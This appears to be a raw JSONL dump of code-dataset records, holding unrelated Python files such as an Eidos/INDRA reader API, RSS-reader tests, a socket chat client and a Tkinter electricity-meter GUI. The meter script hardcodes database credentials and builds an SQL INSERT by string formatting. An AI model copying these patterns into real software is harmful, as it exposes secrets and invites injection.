kwargs[\"max_overflow\"] = oz.settings[\"db_max_overflow\"]\n if oz.settings[\"db_pool_timeout\"]:\n kwargs[\"pool_timeout\"] = oz.settings[\"db_pool_timeout\"]\n\n _engine = create_engine(oz.settings[\"db\"], **kwargs)\n after_fork.registered = True\n register_after_fork(after_fork, after_fork)\n\n return _engine\n\ndef session():\n \"\"\"Gets a SQLAlchemy session\"\"\"\n global _session\n\n if _session == None:\n _session = sessionmaker(bind=engine())\n\n return _session()\n","sub_path":"oz/sqlalchemy/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1846,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"414740216","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n\"\"\"\n 脚本名: 爬虫小工具\nCreated on 2018-10-16\n@author:David Yisun\n@group:data\n\"\"\"\nimport codecs\npath = './temp_text.txt'\nimport re\ndef normalize(p, name='headers'):\n with codecs.open(p, 'r', 'utf-8') as f:\n t = f.read()\n t1 = t.splitlines()\n def _change(_t):\n # r = re.split(re.compile('.+(: )'), _t)\n r = re.sub(re.compile(': '), '########---->>>', _t)\n r = r.split('########---->>>')\n res = \"{0}['{1}'] = '{2}'\".format(name, re.sub('^:', '', r[0].strip()), r[1].strip())\n return res\n t2 = list(map(_change, t1))\n t3 = '\\n'.join(t2)\n with codecs.open('headers.txt', 'w', 'utf-8') as f2:\n f2.write(t3)\n print(t3)\n return\n\nif __name__ == '__main__':\n normalize(p=path, name='headers')\n # normalize(p=path, name='DEFAULT_REQUEST_HEADERS')","sub_path":"crawler_utils/crawler_utils.py","file_name":"crawler_utils.py","file_ext":"py","file_size_in_byte":871,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"379753517","text":"import json\nimport logging\nfrom indra.sources.eidos import client as eidos_client\nfrom .processor import EidosProcessor, EidosProcessorCompositional\n\nlogger = logging.getLogger(__name__)\n\n\ntry:\n # For text reading\n from .reader import EidosReader\n eidos_reader = EidosReader()\nexcept Exception as e:\n logger.warning('Could not instantiate Eidos reader, local reading '\n 'will not be available.')\n eidos_reader = None\n\n\ndefault_grounding_mode = 'flat' # The alternative is 'compositional'\n\n\ndef process_text(text, save_json='eidos_output.json',\n webservice=None, grounding_ns=None, extract_filter=None,\n grounding_mode=default_grounding_mode):\n \"\"\"Return an EidosProcessor by processing the given text.\n\n This constructs a reader object via Java and extracts mentions\n from the text. It then serializes the mentions into JSON and\n processes the result with process_json.\n\n Parameters\n ----------\n text : str\n The text to be processed.\n save_json : Optional[str]\n The name of a file in which to dump the JSON output of Eidos.\n webservice : Optional[str]\n An Eidos reader web service URL to send the request to.\n If None, the reading is assumed to be done with the Eidos JAR rather\n than via a web service. Default: None\n grounding_ns : Optional[list]\n A list of name spaces for which INDRA should represent groundings, when\n given. If not specified or None, all grounding name spaces are\n propagated. If an empty list, no groundings are propagated.\n Example: ['UN', 'WM'], Default: None\n extract_filter : Optional[list]\n A list of relation types to extract. Valid values in the list are\n 'influence', 'association', 'event'. If not given, all relation\n types are extracted. This argument can be used if, for instance,\n only Influence statements are of interest. Default: None\n grounding_mode : Optional[str]\n Selects whether 'flat' or 'compositional' groundings should be\n extracted. Default: 'flat'.\n\n Returns\n -------\n ep : EidosProcessor\n An EidosProcessor containing the extracted INDRA Statements in its\n statements attribute.\n \"\"\"\n json_dict = _run_eidos_on_text(text, save_json, webservice)\n if json_dict:\n return process_json(json_dict, grounding_ns=grounding_ns,\n extract_filter=extract_filter,\n grounding_mode=grounding_mode)\n return None\n\n\ndef _run_eidos_on_text(text, save_json='eidos_output.json',\n webservice=None):\n if not webservice:\n if eidos_reader is None:\n logger.error('Eidos reader is not available.')\n return None\n json_dict = eidos_reader.process_text(text)\n else:\n if webservice.endswith('/'):\n webservice = webservice[:-1]\n json_dict = eidos_client.process_text(text, webservice=webservice)\n if json_dict and save_json:\n with open(save_json, 'wt') as fh:\n json.dump(json_dict, fh, indent=2)\n return json_dict\n\n\ndef process_json_file(file_name, grounding_ns=None, extract_filter=None,\n grounding_mode=default_grounding_mode):\n \"\"\"Return an EidosProcessor by processing the given Eidos JSON-LD file.\n\n This function is useful if the output from Eidos is saved as a file and\n needs to be processed.\n\n Parameters\n ----------\n file_name : str\n The name of the JSON-LD file to be processed.\n grounding_ns : Optional[list]\n A list of name spaces for which INDRA should represent groundings, when\n given. If not specified or None, all grounding name spaces are\n propagated. If an empty list, no groundings are propagated.\n Example: ['UN', 'WM'], Default: None\n extract_filter : Optional[list]\n A list of relation types to extract. Valid values in the list are\n 'influence', 'association', 'event'. If not given, all relation\n types are extracted. This argument can be used if, for instance,\n only Influence statements are of interest. Default: None\n grounding_mode : Optional[str]\n Selects whether 'flat' or 'compositional' groundings should be\n extracted. Default: 'flat'.\n\n Returns\n -------\n ep : EidosProcessor\n A EidosProcessor containing the extracted INDRA Statements\n in its statements attribute.\n \"\"\"\n try:\n with open(file_name, 'rb') as fh:\n json_str = fh.read().decode('utf-8')\n return process_json_str(json_str, grounding_ns=grounding_ns,\n extract_filter=extract_filter,\n grounding_mode=grounding_mode)\n except IOError:\n logger.exception('Could not read file %s.' % file_name)\n\n\ndef process_json_str(json_str, grounding_ns=None, extract_filter=None,\n grounding_mode=default_grounding_mode):\n \"\"\"Return an EidosProcessor by processing the Eidos JSON-LD string.\n\n Parameters\n ----------\n json_str : str\n The JSON-LD string to be processed.\n grounding_ns : Optional[list]\n A list of name spaces for which INDRA should represent groundings, when\n given. If not specified or None, all grounding name spaces are\n propagated. If an empty list, no groundings are propagated.\n Example: ['UN', 'WM'], Default: None\n extract_filter : Optional[list]\n A list of relation types to extract. Valid values in the list are\n 'influence', 'association', 'event'. If not given, all relation\n types are extracted. This argument can be used if, for instance,\n only Influence statements are of interest. Default: None\n grounding_mode : Optional[str]\n Selects whether 'flat' or 'compositional' groundings should be\n extracted. Default: 'flat'.\n\n Returns\n -------\n ep : EidosProcessor\n A EidosProcessor containing the extracted INDRA Statements\n in its statements attribute.\n \"\"\"\n json_dict = json.loads(json_str)\n return process_json(json_dict, grounding_ns=grounding_ns,\n extract_filter=extract_filter,\n grounding_mode=grounding_mode)\n\n\ndef process_json(json_dict, grounding_ns=None, extract_filter=None,\n grounding_mode=default_grounding_mode):\n \"\"\"Return an EidosProcessor by processing a Eidos JSON-LD dict.\n\n Parameters\n ----------\n json_dict : dict\n The JSON-LD dict to be processed.\n grounding_ns : Optional[list]\n A list of name spaces for which INDRA should represent groundings, when\n given. If not specified or None, all grounding name spaces are\n propagated. If an empty list, no groundings are propagated.\n Example: ['UN', 'WM'], Default: None\n extract_filter : Optional[list]\n A list of relation types to extract. Valid values in the list are\n 'influence', 'association', 'event'. If not given, all relation\n types are extracted. This argument can be used if, for instance,\n only Influence statements are of interest. Default: None\n grounding_mode : Optional[str]\n Selects whether 'flat' or 'compositional' groundings should be\n extracted. Default: 'flat'.\n\n Returns\n -------\n ep : EidosProcessor\n A EidosProcessor containing the extracted INDRA Statements\n in its statements attribute.\n \"\"\"\n if grounding_mode == 'flat':\n ep = EidosProcessor(json_dict, grounding_ns=grounding_ns)\n elif grounding_mode == 'compositional':\n ep = EidosProcessorCompositional(json_dict, grounding_ns=grounding_ns)\n else:\n raise ValueError('Invalid grounding mode: %s' % grounding_mode)\n\n if extract_filter is None or 'influence' in extract_filter:\n ep.extract_causal_relations()\n if extract_filter is None or 'association' in extract_filter:\n ep.extract_correlations()\n if extract_filter is None or 'event' in extract_filter:\n ep.extract_events()\n return ep\n\n\ndef process_text_bio(text, save_json='eidos_output.json', webservice=None):\n \"\"\"Return an EidosProcessor by processing the given text.\n\n This constructs a reader object via Java and extracts mentions\n from the text. It then serializes the mentions into JSON and\n processes the result with process_json.\n\n Parameters\n ----------\n text : str\n The text to be processed.\n save_json : Optional[str]\n The name of a file in which to dump the JSON output of Eidos.\n webservice : Optional[str]\n An Eidos reader web service URL to send the request to.\n If None, the reading is assumed to be done with the Eidos JAR rather\n than via a web service. Default: None\n\n Returns\n -------\n ep : EidosProcessor\n An EidosProcessor containing the extracted INDRA Statements in its\n statements attribute.\n \"\"\"\n json_dict = _run_eidos_on_text(text, save_json, webservice)\n if json_dict:\n return process_json_bio(json_dict)\n return None\n\n\ndef process_json_bio(json_dict):\n \"\"\"Return EidosProcessor with grounded Activation/Inhibition statements.\n\n Parameters\n ----------\n json_dict : dict\n The JSON-LD dict to be processed.\n\n Returns\n -------\n ep : EidosProcessor\n A EidosProcessor containing the extracted INDRA Statements\n in its statements attribute.\n \"\"\"\n from indra.statements import Activation, Inhibition\n\n def get_regulate_activity(stmt):\n context = stmt.evidence[0].text\n subj = get_agent_bio(stmt.subj.concept, context=context)\n obj = get_agent_bio(stmt.obj.concept, context=context)\n if not subj or not obj:\n return None\n pol = stmt.overall_polarity()\n stmt_type = Activation if pol == 1 or not pol else Inhibition\n bio_stmt = stmt_type(subj, obj, evidence=stmt.evidence)\n return bio_stmt\n\n ep = EidosProcessor(json_dict)\n ep.extract_causal_relations()\n\n bio_stmts = []\n for stmt in ep.statements:\n bio_stmt = get_regulate_activity(stmt)\n if bio_stmt:\n bio_stmts.append(bio_stmt)\n ep.statements = bio_stmts\n return ep\n\n\ndef process_json_bio_entities(json_dict):\n \"\"\"Return INDRA Agents grounded to biological ontologies extracted\n from Eidos JSON-LD.\n\n Parameters\n ----------\n json_dict : dict\n The JSON-LD dict to be processed.\n\n Returns\n -------\n list of indra.statements.Agent\n A list of INDRA Agents which are derived from concepts extracted\n by Eidos from text.\n \"\"\"\n ep = process_json(json_dict)\n events = ep.get_all_events()\n agents = []\n for event in events:\n context = event.evidence[0].text\n agent = get_agent_bio(event.concept, context=context)\n agents.append(agent)\n return agents\n\n\ndef process_text_bio_entities(text, webservice=None):\n \"\"\"Return INDRA Agents grounded to biological ontologies extracted\n from text.\n\n Parameters\n ----------\n text : str\n Text to be processed.\n webservice : Optional[str]\n An Eidos reader web service URL to send the request to.\n If None, the reading is assumed to be done with the Eidos JAR rather\n than via a web service. Default: None\n\n Returns\n -------\n list of indra.statements.Agent\n A list of INDRA Agents which are derived from concepts extracted\n by Eidos from text.\n \"\"\"\n ep = process_text(text, webservice=webservice)\n events = ep.get_all_events()\n agents = []\n for event in events:\n context = event.evidence[0].text\n agent = get_agent_bio(event.concept, context=context)\n agents.append(agent)\n return agents\n\n\ndef reground_texts(texts, ont_yml, webservice=None, topk=10, filter=True,\n is_canonicalized=True):\n \"\"\"Return grounding for concept texts given an ontology.\n\n Parameters\n ----------\n texts : list[str]\n A list of concept texts to ground.\n ont_yml : str\n A serialized YAML string representing the ontology.\n webservice : Optional[str]\n The address where the Eidos web service is running, e.g.,\n http://localhost:9000. If None, a local Eidos JAR is invoked\n via pyjnius. Default: None\n topk : Optional[int]\n The number of top scoring groundings to return. Default: 10\n is_canonicalized : Optional[bool]\n If True, the texts are assumed to be canonicalized. If False,\n Eidos will canonicalize the texts which yields much better groundings\n but is slower. Default: False\n filter : Optional[bool]\n If True, Eidos filters the ontology to remove determiners from examples\n and other similar operations. Should typically be set to True.\n Default: True\n\n Returns\n -------\n list[list]\n A list of the top k scored groundings for each text in the list.\n \"\"\"\n if not webservice:\n return eidos_reader.reground_texts(texts, ont_yml, topk=topk,\n filter=filter,\n is_canonicalized=is_canonicalized)\n else:\n return eidos_client.reground_texts(texts, ont_yml, webservice,\n topk=topk, filter=filter,\n is_canonicalized=is_canonicalized)\n\n\ndef initialize_reader():\n \"\"\"Instantiate an Eidos reader for fast subsequent reading.\"\"\"\n eidos_reader.process_text('')\n\n\ndef get_agent_bio(concept, context=None):\n from indra.ontology.standardize import standardize_agent_name\n from indra.preassembler.grounding_mapper.gilda import get_grounding\n from indra.statements import Agent\n # Note that currently concept.name is the canonicalized entity text\n # whereas db_refs['TEXT'] is the unaltered original entity text\n raw_txt = concept.db_refs['TEXT']\n norm_txt = concept.name\n # We ground first the raw entity text and if that cannot be grounded, the\n # normalized entity text. The agent name is chosen based on the first text\n # that was successfully grounded, or if no grounding was obtained, is chosen\n # as the normalized text\n for txt in (raw_txt, norm_txt):\n gr, _ = get_grounding(txt, context=context, mode='local')\n if gr:\n name = txt\n break\n else:\n gr = {}\n name = norm_txt\n # We take whatever grounding and name are available and then standardize\n # the agent.\n agent = Agent(name, db_refs={'TEXT_NORM': norm_txt, 'TEXT': raw_txt, **gr})\n standardize_agent_name(agent, standardize_refs=True)\n return agent\n","sub_path":"indra/sources/eidos/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":14771,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"367564824","text":"\"\"\"\nrange\nenumarate\nwhile-else loop\nfunction\nfunction with default value\n\"\"\"\n\n\n# unpack a list (an array)\nmessage = []\nmessage.append(\"operation code\")\nmessage.append(\"data size\")\nmessage.append(\"data\")\nopcode, size, data = message\nprint(size)\n\nexit(0)\n\n# a dictionary is a key-value pairs\nprice_list = {\n \"car\": 80000,\n \"laptop\": 3000\n}\ncar_price = price_list.get(\"car\")\nhouse_price = price_list.get(\"house\", \"not found\")\nprint(f\"car costs {car_price}\")\nprint(f\"house costs {house_price}\")\n# unpack keys and values\nfor good, price in price_list.items():\n print(f\"{good} costs {price}\")\n\n\n# a loop for-item-in-items\nfor element in \"elements\":\n print(element)\n\n\n# does a character exist in a string?\nemail = \"name@host.xx\"\nit_exists = '@' in email\nprint(f\"@ is {it_exists}\") # True\n\n# list type is a poiner until two variables points on one array\na = [1,2,3]\nb = a\nb[0] = 1000\nprint(a)\n\n# if statement\nis_valid = True\nis_online = True\nif is_valid and is_online:\n print(\"do something\")\nelif False:\n pass # do nothing\nelse:\n exit(0) # it ends the app\n\n# one-line if\n# valiable = if else \nis_connected = None\nis_online = True if is_connected != None else False\nprint(is_online)\n\n# logical operators\nprint(f\"not true is {not True}\")\nprint(True and True)\nprint(True or False)\nprint(1 == 1)\nprint(1 != 2)\nprint(10 >= 5)\nprint(10 <= 20)","sub_path":"python_basics.py","file_name":"python_basics.py","file_ext":"py","file_size_in_byte":1374,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"78390454","text":"#!python3\n\n# stack implementation using python lists\n\nclass Stack():\n def __init__(self):\n self.list = []\n\n def push(self, value):\n self.list.append(value)\n\n def pop(self):\n if self.isEmpty():\n return 'empty list'\n return self.list.pop()\n\n def peek(self):\n if self.isEmpty():\n return 'empty list'\n return self.list[-1]\n\n def isEmpty(self):\n if self.list == []:\n return True\n return False\n\n def delete(self):\n self.list = []\n\n\nif __name__ == '__main__':\n stack1 = Stack()\n stack1.push(1)\n stack1.push(2)\n stack1.push(3)\n stack1.push(4)\n print(stack1.list)\n\n print(f'popped: {stack1.pop()}')\n print(stack1.list)\n\n # peek()\n print(f'last element: {stack1.peek()}')\n print(stack1.list)\n","sub_path":"data-structures/stacks/stack_list.py","file_name":"stack_list.py","file_ext":"py","file_size_in_byte":829,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"48699187","text":"import filecmp\nimport os\nimport unittest\nfrom unittest.mock import patch\n\nfrom bs4 import BeautifulSoup\n\nfrom rss_reader.rss_reader import rss_reader\nfrom rss_reader.tests.testing import mock_response\n\n\n@patch('requests.get')\nclass TestConverter(unittest.TestCase):\n @classmethod\n def setUpClass(cls):\n \"\"\"This method initializes variables used in tests\"\"\"\n cls.data_folder = os.path.abspath(os.path.join(os.path.dirname(__file__), 'data')) + os.path.sep\n with open(cls.data_folder + 'example.xml', 'r') as file:\n cls.document_content = file.read()\n\n def test_to_html(self, mock_get):\n \"\"\"Tests that HTML is correctly generated and saved to a file\"\"\"\n mock_get.return_value = mock_response(200, self.document_content)\n argv = ['https://news.yahoo.com/rss/', '--to-html=test.html']\n rss_reader.main(argv)\n with open('test.html', 'r') as file:\n result_data = BeautifulSoup(file, 'lxml-xml')\n self.assertEqual(len(result_data.find_all('div')), 5)\n os.remove('test.html')\n\n def test_to_html_with_limit(self, mock_get):\n \"\"\"Tests that the --limit argument affects the number of news in HTML\"\"\"\n mock_get.return_value = mock_response(200, self.document_content)\n argv = ['https://news.yahoo.com/rss/', '--to-html=test.html', '--limit=2']\n rss_reader.main(argv)\n with open('test.html', 'r') as file:\n result_data = BeautifulSoup(file, 'lxml-xml')\n self.assertEqual(len(result_data.find_all('div')), 2)\n os.remove('test.html')\n\n def test_to_pdf(self, mock_get):\n \"\"\"Tests that PDF is saved to a file\"\"\"\n mock_get.return_value = mock_response(200, self.document_content)\n argv = ['https://news.yahoo.com/rss/', '--to-pdf=test.pdf']\n rss_reader.main(argv)\n self.assertTrue(os.path.exists('test.pdf'))\n os.remove('test.pdf')\n","sub_path":"rss_reader/tests/test_converter.py","file_name":"test_converter.py","file_ext":"py","file_size_in_byte":1923,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"115929056","text":"from tkinter import *\nfrom threading import Thread\nimport serial\nimport time\nimport pymysql\nfrom pymysql.cursors import DictCursor\n\ndef findports():\n ports = []\n portsvariants = ['COM%s' % (i + 1) for i in range(256)]\n for port in portsvariants:\n try:\n s = serial.Serial(port)\n s.close()\n ports.append(port)\n except (OSError, serial.SerialException):\n pass\n return ports\n\nclass Table(Frame):\n def __init__(self, parent, rows=10, columns=2):\n Frame.__init__(self, parent, background=\"black\")\n self._widgets = []\n for row in range(rows):\n current_row = []\n for column in range(columns):\n label = Label(self, text=\"%s/%s\" % (row, column),\n borderwidth=0, width=30)\n label.grid(row=row, column=column, sticky=\"nsew\", padx=1, pady=1)\n current_row.append(label)\n self._widgets.append(current_row)\n\n for column in range(columns):\n self.grid_columnconfigure(column, weight=1)\n\n def set(self, row, column, value):\n widget = self._widgets[row][column]\n widget.configure(text=value)\n\nclass AutoElectricMeter():\n root = Tk()\n usingDB=True\n try:\n connection = pymysql.connect(\n host='localhost',\n user='bazauser',\n password='123456789q',\n db='elmeterdb',\n charset='utf8',\n cursorclass=DictCursor\n )\n except pymysql.Error:\n usingDB=False\n\n selectedPort = 0\n toWrite = False\n data = [0, 0, 0, 0]\n graphdata = []\n\n def makegraph(self):\n width = 500\n height = 200\n canv = Canvas(self.root, width=width, height=height, bg=\"#002\")\n for x in range(61):\n k = width / 60 * x\n canv.create_line(10 + k, height - 10, 10 + k, 10, width=0.3, fill='#191938')\n canv.create_line(10, 10 + k, width, 10 + k, width=0.3, fill='#191938')\n canv.create_line(10, height - 10, 10, 0, width=1, arrow=LAST, fill='white')\n canv.create_line(10, height - 10, width, height - 10, width=1, arrow=LAST, fill='white')\n canv.place(x=45, y=200)\n canv.after_idle(self.graphupdate, canv, 1, 10, height - 10)\n\n def graphupdate(self,canv, writed, lastx, lasty):\n if (len(self.graphdata) != writed - 1):\n for dataset in self.graphdata[writed - 1:]:\n canv.create_line(lastx, lasty, lastx + 0.13, 200 - dataset[0] / 2, width=1, fill='red')\n lastx = lastx + 0.13\n lasty = 200 - dataset[0] / 2\n writed = writed + 1\n canv.after(500, self.graphupdate, canv, writed, lastx, lasty)\n\n def readport(self):\n while True:\n if (self.selectedPort == 0):\n time.sleep(1)\n\n else:\n line = self.selectedPort.readline().decode(\"utf-8\")\n if line != '':\n datapack = line.rstrip().split(' ')\n millis = int(datapack[0])\n watts = float(datapack[1])\n hours = millis // 3600000\n minuts = millis // 60000 - hours * 60\n seconds = round(millis / 1000) - minuts * 60 - hours * 3600\n self.data[0] = \"{0} Часов, {1} Минут, {2} Секунд\".format(hours, minuts, seconds)\n self.data[1] = watts\n self.data[2] = round(watts / (millis / 1000), 2)\n self.data[3] = millis\n\n if(self.usingDB):\n if hours // 24 == hours / 24 and minuts == 0 and seconds == 0:\n with self.connection.cursor() as cursor:\n cursor.execute(\n 'INSERT INTO `records` '\n '(`daterecord`, `consumption`) '\n 'VALUES (now(), \\'{0}\\')'\n .format(watts / 1000))\n self.connection.commit()\n cursor.close()\n\n def onselect(self,evt):\n wiget = evt.widget\n index = int(wiget.curselection()[0])\n self.selectedPort = serial.Serial(wiget.get(index), 9600, timeout=3)\n self.toWrite = True\n time.sleep(2.5)\n\n def startthread(self):\n Thread(target=self.readport).start()\n self.root.update()\n\n def datalabeltick(self,datalabel):\n if self.toWrite and self.data == [0, 0, 0, 0]:\n datalabel['text'] = \"Возможно выбран \\n \" \\\n \"неверный порт\"\n else:\n if self.toWrite and self.data != [0, 0, 0, 0]:\n datalabel['text'] = 'Время работы счетчика: {0}\\n' \\\n 'Потрачено энергии: {1} ватт\\n' \\\n 'Расход ватт в секунду: {2}'\\\n .format(self.data[0],self.data[1], self.data[2])\n self.graphdata.append([self.data[2], self.data[3]])\n datalabel.after(1000, self.datalabeltick, datalabel)\n\n def maketable(self):\n with self.connection.cursor() as cursor:\n query = \"\"\"\n SELECT\n daterecord,consumption\n FROM\n records\n ORDER BY \n id DESC\n LIMIT 5\n \"\"\"\n cursor.execute(query)\n\n recordDates = []\n consumptions = []\n\n for row in cursor:\n recordDates.append(row['daterecord'])\n consumptions.append(row['consumption'])\n\n table = Table(self.root, len(recordDates)+1, 2)\n table.place(x=80, y=450)\n table.set(0, 0, \"Дата и время замера\")\n table.set(0, 1, \"Расход энергии за день\")\n\n cursor.close()\n\n row = 1\n for record in recordDates:\n table.set(row,0,record)\n row=row+1\n\n row = 1\n for consumption in consumptions:\n table.set(row,1,str(consumption)+\" Киловатт\")\n row=row+1\n\n\n\n\n def start(self):\n self.root.title('Просмотр данных счётчика')\n self.root.geometry('600x600+300+200' if self.usingDB else '600x450+300+200')\n\n Label(self.root, text=\"Выберите порт счётчика: \").place(x=5, y=10)\n Label(self.root, text=\"Расход\\n(Ватт)\\n\\n 400\\n\\n\\n\\n\\n 200\\n\\n\\n\\n\\n\\n 0\").place(x=8, y=168)\n Label(self.root, text=\"0 \" +\n \"10 20\" +\n \" 30\" +\n \" 40\" +\n \" 50\" +\n \" 60\").place(x=50, y=405)\n Label(self.root, text=\"Время\\n(Минут) \").place(x=545, y=385)\n Label(self.root, text=\"График расхода электроэнергии за последний час\", font='Arial 14').place(x=76, y=165)\n\n datalabel = Label(self.root, text=\"\", font='Arial 16')\n datalabel.place(x=40, y=70)\n datalabel.after_idle(self.datalabeltick, datalabel)\n\n ports = findports()\n portbox = Listbox(self.root, height=len(ports), width=15, selectmode=EXTENDED)\n for port in ports:\n portbox.insert(END, port)\n portbox.place(x=160, y=10)\n portbox.bind('<>', self.onselect)\n\n if(self.usingDB):\n self.maketable()\n self.makegraph()\n self.root.after(100, func=self.startthread)\n\n self.root.mainloop()\n\n\n","sub_path":"src/methods.py","file_name":"methods.py","file_ext":"py","file_size_in_byte":7924,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"285202446","text":"import socket\nimport threading\n\n\nclass Client:\n\tdef __init__(self, target_host, target_port):\n\t\tself.target_host = target_host\n\t\tself.target_port = target_port\n\n\t\tself.client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\n\tdef spin_off_client(self):\n\t\tself.client.connect((self.target_host, self.target_port))\n\t\tserver_handler = threading.Thread(target=self.listen_thread)\n\t\tserver_handler.start()\n\n\t\twhile True:\n\t\t\tmsg = str(input())\n\t\t\tif msg.lower() == \"exit()\":\n\t\t\t\tself.client.sendall(msg.encode('utf-8'))\n\t\t\t\tbreak\n\t\t\telif msg:\n\t\t\t\ttry:\n\t\t\t\t\tself.client.sendall(msg.encode('utf-8'))\n\t\t\t\texcept Exception as e:\n\t\t\t\t\tprint(f'can\\'t connect to {self.target_host}:{self.target_port}')\n\t\t\t\t\tprint(e)\n\t\t\t\t\tbreak\n\t\tself.client.close()\n\n\tdef listen_thread(self):\n\t\twhile True:\n\t\t\tmsg = self.client.recv(4096)\n\t\t\tif not msg:\n\t\t\t\tbreak\n\t\t\tprint(f\"[Server] {msg.decode('utf-8')}\")","sub_path":"Python/Networking/networkRefresher/Client.py","file_name":"Client.py","file_ext":"py","file_size_in_byte":881,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"477122054","text":"#!/usr/bin/env python\n# vim: ai ts=4 sts=4 et sw=4 encoding=utf-8\n# maintainer: katembu\n\nimport time\nfrom datetime import date\n\nfrom django.db.models import F\nfrom django.utils.translation import ugettext as _\nfrom django.db.models import Count\n\nfrom ccdoc import Document, Table, Text, Section, Paragraph\n\nfrom locations.models import Location\nfrom childcount.models import CHW, DeadPerson\nfrom childcount.models.reports import DeathReport, StillbirthMiscarriageReport\n\nfrom reportgen.utils import render_doc_to_file\nfrom reportgen.PrintedReport import PrintedReport\n\n_variants = [('All Locations', 'all', {'loc_pk': 0})]\n_chw_locations = CHW.objects.values('location').distinct()\n_locations = [(loc.name, loc.code, {'loc_pk': loc.pk}) \\\n for loc in Location.objects\\\n .filter(pk__in=_chw_locations)]\n_variants.extend(_locations)\n\n\nclass ReportDefinition(PrintedReport):\n \"\"\" list all Patients \"\"\"\n title = 'Mortality Log'\n filename = 'mortality_log'\n formats = ['html', 'pdf', 'xls']\n variants = _variants\n\n def generate(self, time_period, rformat, title, filepath, data):\n doc = Document(title)\n \n self.current = 0\n self.data = data\n self.set_progress(0)\n \n #Death with Health ID\n table = self._create_table()\n self._add_dda_data(table)\n self._add_ddb_data(table)\n self._add_still_data(table)\n doc.add_element(table)\n \n #current += 1\n #self.set_progress(100.0*current/total)\n\n rval = render_doc_to_file(filepath, rformat, doc)\n self.set_progress(100)\n\n return rval\n\n def _create_table(self):\n table = Table(12)\n table.add_header_row([\n Text(_(u'HID')),\n Text(_(u'Location Code')),\n Text(_(u'First Name.')),\n Text(_(u'Family Name.')),\n Text(_(u'Gen.')),\n Text(_(u'DOB.')),\n Text(_(u'AGE(Y/M).')),\n Text(_(u'HOH.')),\n Text(_(u'DOD')),\n Text(_(u'S/M')),\n Text(_(u'Encounter Date')),\n Text(_(u'CHW'))])\n\n return table\n\n def _add_dda_data(self, table):\n \"\"\" DEATH WITH HEALTH ID \"\"\"\n if 'loc_pk' not in self.data or self.data['loc_pk'] == 0:\n plist = DeathReport.objects.all()\\\n .order_by('encounter__patient__location', 'encounter__chw',\n 'encounter__encounter_date')\n else:\n loc_pk = self.data['loc_pk']\n plist = DeathReport.objects\\\n .filter(encounter__patient__location__pk=loc_pk)\\\n .order_by('encounter__patient__location', 'encounter__chw',\n 'encounter__encounter_date')\n\n for row in plist:\n table.add_row([\n Text(unicode(row.encounter.patient.health_id)),\n Text(unicode(row.encounter.patient.location.code.upper())),\n Text(unicode(row.encounter.patient.first_name)),\n Text(unicode(row.encounter.patient.last_name)),\n Text(unicode(row.encounter.patient.gender)),\n Text(unicode(row.encounter.patient.dob)),\n Text(unicode(row.encounter.patient.age_death(row.death_date))),\n Text(unicode(row.encounter.patient.household.health_id)),\n Text(unicode(row.death_date)),\n Text(u\"---\"),\n Text(unicode(row.encounter.encounter_date)),\n Text(unicode(row.encounter.patient.chw))])\n\n def _add_ddb_data(self, table):\n \"\"\" DEATH WITHOUT HEALTH ID \"\"\"\n if 'loc_pk' not in self.data or self.data['loc_pk'] == 0:\n plist = DeadPerson.objects.all()\\\n .order_by('location', 'chw')\n else:\n loc_pk = self.data['loc_pk']\n plist = DeadPerson.objects.filter(chw__location__pk=loc_pk)\\\n .order_by('location', 'chw')\n \n for row in plist:\n try:\n hoh = row.household.health_id.upper()\n except:\n hoh = u\"---\"\n table.add_row([\n Text(u\"---\"),\n Text(unicode(row.chw.location.code.upper())),\n Text(unicode(row.first_name)),\n Text(unicode(row.last_name)),\n Text(unicode(row.gender)),\n Text(unicode(row.dob)),\n Text(unicode(row.humanised_age())),\n Text(unicode(hoh)),\n Text(unicode(row.dod)),\n Text(u\"---\"),\n Text(unicode(row.created_on)),\n Text(unicode(row.chw))])\n\n def _add_still_data(self, table):\n \"\"\" STILL BIRTH AND MISCARIAGE\"\"\"\n if 'loc_pk' not in self.data or self.data['loc_pk'] == 0:\n plist = StillbirthMiscarriageReport.objects.all()\\\n .order_by('encounter__patient__location', 'encounter__chw',\n 'encounter__encounter_date')\n else:\n loc_pk = self.data['loc_pk']\n plist = StillbirthMiscarriageReport.objects\\\n .filter(encounter__patient__location__pk=loc_pk)\\\n .order_by('encounter__patient__location', 'encounter__chw',\n 'encounter__encounter_date')\n\n for row in plist:\n table.add_row([\n Text(unicode(row.encounter.patient.health_id)),\n Text(unicode(row.encounter.patient.location.code.upper())),\n Text(u\"---\"),\n Text(u\"---\"),\n Text(u\"---\"),\n Text(u\"---\"),\n Text(u\"---\"),\n Text(unicode(row.encounter.patient.household.health_id)),\n Text(unicode(row.incident_date)),\n Text(unicode(row.type)),\n Text(unicode(row.encounter.encounter_date)),\n Text(unicode(row.encounter.patient.chw))])\n","sub_path":"apps/reportgen/definitions/MortalityLog.py","file_name":"MortalityLog.py","file_ext":"py","file_size_in_byte":6140,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"283686122","text":"import cv2\nimport numpy\nimport math\n\ndef p7(img_in, hough_img_in, hough_thresh) :\n pi = 3.14159265\n w = img_in.shape[1]\n h = img_in.shape[0]\n L = 800 \n\n for rho in range(hough_img_in.shape[0]):\n for theta in range(hough_img_in.shape[1]):\n if( hough_img_in[rho][theta] > hough_thresh):\n rad = (theta)*pi/180\n p1_x = int(rho * math.cos(rad-pi/2))\n p1_y = int(rho * math.sin(rad-pi/2))\n p2_x = int(p1_x + math.cos(rad)*L)\n p2_y = int(p1_y + math.sin(rad)*L)\n p3_x = int(p1_x - math.cos(rad)*L)\n p3_y = int(p1_y - 